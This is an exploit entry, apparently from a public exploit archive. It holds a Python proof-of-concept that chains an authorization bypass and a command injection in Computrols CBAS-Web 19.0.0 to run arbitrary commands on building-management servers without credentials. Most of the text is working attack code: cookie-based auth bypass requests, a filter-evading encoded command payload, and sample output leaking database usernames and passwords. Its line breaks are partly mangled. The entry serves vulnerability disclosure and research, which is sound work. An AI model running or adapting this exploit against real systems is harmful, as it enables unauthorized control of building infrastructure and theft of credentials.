# Exploit Title: CBAS-Web 19.0.0 - Remote Code Execution# Google Dork: NA# Date: 2019-11-11# Exploit Author: LiquidWorm# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/# Software Link: https://www.computrols.com/building-automation-software/# Version: 19.0.0# Tested on: NA# CVE : N/A# Advisory: https://applied-risk.com/resources/ar-2019-009# Paper: https://applied-risk.com/resources/i-own-your-building-management-system#!/usr/bin/env python'''
Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit
Affected versions: 19.0.0 and below
by Sipke Mellema, 2019
Uses two vulnerabilities for executing commands:
- An authorization bypass in the auth module (CVE-2019-10853)
- A code execution vulnerability in the json.php endpoint (CVE-2019-10854)
Example usage:
$ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php"
------------==[CBAS Web v19 Remote Command Injection
[*] URL: http://192.168.1.250/
[*] Executing: cat /var/www/cbas-19.0.0/includes/db.php
[*] Cookie is authenticated
[*] Creating Python payload..
[*] Sending Python payload..
[*] Server says:
<?php
// Base functions for database access
// Expects a number of constants to be set.Set settings.php
// Only allow local access to the database for security purposes
if(defined('WINDOWS') && WINDOWS){
define('MYSQL_HOST', '192.168.1.2');
define('DB_USER', 'wauser');
define('DB_PASS', 'wapwstandard');
/*define('DB_USER', 'root');
define('DB_PASS', 'souper secrit');*/
...
'''import requests
import sys
import base64 as b
import json
defdebug_print(msg, level=0):if level ==0:print"[*] %s"% msg
if level ==1:print"[-] %s"% msg
# Check parametersiflen(sys.argv)<3:print"Missing target parameter\n\n\tUsage: %s <IP or hostname> \"<cmd>\""% __file__
exit(0)print"------------==[CBAS Web v18 Remote Command Injection\n"# Set host, cookie and URL
host = sys.argv[1]
cookies ={'PHPSESSID':'comparemetoasummersday'}
url ="http://%s/"% host
debug_print("URL: %s"% url)# Command to execute# Only use single quotes in cmd pls
icmd = sys.argv[2]if'"'in icmd:
debug_print("Please don't use double quotes in your command string", level =1)
exit(0)
debug_print("Executing: %s"% icmd)# URL for performing auth bypass by setting the auth cookie flag to true
auth_bypass_req ="cbas/index.php?m=auth&a=agg_post&code=test"# URL for removing auth flag from cookie (for clean-up)
logout_sess_req ="cbas/index.php?m=auth&a=logout"# URL for command injection and session validity checking
json_checks_req ="cbas/json.php"# Perform logoutdefdo_logout():
requests.get(url + logout_sess_req, cookies = cookies)# Check if out cookie has the authentication flagdefhas_auth():
ret = requests.get(url + json_checks_req, cookies = cookies)if ret.text =="Access Forbidden":returnFalsereturnTrue# Set auth flag on cookiedefset_auth():
requests.get(url + auth_bypass_req, cookies = cookies)# =======================================================# Perform auth bypass if not authenticated yetifnot has_auth():
debug_print("Cookie not yet authenticated")
debug_print("Setting auth flag on cookie via auth bypass..")
set_auth()# Check if bypass failedifnot has_auth():
debug_print("Was not able to perform authorization bypass :(")
debug_print("Exploit failed, quitting..", level =1)
exit(0)else:
debug_print("Cookie is authenticated")
debug_print("Creating Python payload..")# Payload has to be encoded because the server uses the following filtering in exectools.php:# $bad = array("..", "\\", "&", "|", ";", '/', '>', '<');# So no slashes, etc. This means only two "'layers' of quotes"# Create python code exec code
cmd_python ='import os; os.system("%s")'% icmd
# Convert to Python array
cmd_array_string =str([ord(x)for x in cmd_python])# Create command injection string
p_unencoded ="DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\""% cmd_array_string
# Base64 encode for p parameter
p_encoded = b.b64encode(p_unencoded)# Execute command
debug_print("Sending Python payload..")
ret = requests.post(url + json_checks_req, cookies = cookies, data ={'p': p_encoded})# Parse result
ret_parsed = json.loads(ret.text)try:
metadata = ret_parsed["metadata"]
identifier = metadata["identifier"]
debug_print("Server says:")print identifier
# JSON Parsing errorexcept:
debug_print("Error parsing result from server :(", level =1)# Uncomment if you want the cookie to be removed after use# debug_print("Logging out")# do_logout()